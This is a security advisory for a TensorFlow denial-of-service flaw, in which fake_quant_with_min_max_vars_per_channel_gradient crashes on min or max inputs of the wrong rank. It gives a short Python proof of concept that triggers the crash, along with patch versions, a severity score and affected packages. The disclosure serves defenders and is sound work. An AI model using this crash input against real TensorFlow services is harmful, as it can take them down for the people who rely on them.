TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsPerChannelGradient`

Description

Impact

When tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient receives input min or max of rank other than 1, it gives a CHECK fail that can trigger a denial of service attack.

import tensorflow as tf
arg_0=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_2=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_3=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_4=8
arg_5=False
arg_6=None
tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient(gradients=arg_0, 
            inputs=arg_1, min=arg_2,  max=arg_3, num_bits=arg_4, 
            narrow_range=arg_5, name=arg_6)

Patches

We have patched the issue in GitHub commit f3cf67ac5705f4f04721d15e485e192bb319feed.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by
- 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology
- Neophytos Christou, Secure Systems Labs, Brown University

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2022-09-16 22:15:21 UTC
Updated
2023-01-28 05:03:11 UTC
GitHub reviewed
2022-09-16 22:15:21 UTC
NVD published
2022-09-16

EPSS Score

Score Percentile
0.06% 19.80%

CVSS Scores

Base score Version Severity Vector
5.9 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:H)
Even with access, the exploit needs extra luck, timing, or a fussy environment to actually work.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-617 Reachable Assertion

Affected packages (9)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip tensorflow < 2.7.2 2.7.2
pip tensorflow >= 2.8.0, < 2.8.1 2.8.1
pip tensorflow >= 2.9.0, < 2.9.1 2.9.1
pip tensorflow-cpu < 2.7.2 2.7.2
pip tensorflow-cpu >= 2.8.0, < 2.8.1 2.8.1
pip tensorflow-cpu >= 2.9.0, < 2.9.1 2.9.1
pip tensorflow-gpu < 2.7.2 2.7.2
pip tensorflow-gpu >= 2.8.0, < 2.8.1 2.8.1
pip tensorflow-gpu >= 2.9.0, < 2.9.1 2.9.1

References

cvelogic Threat Intelligence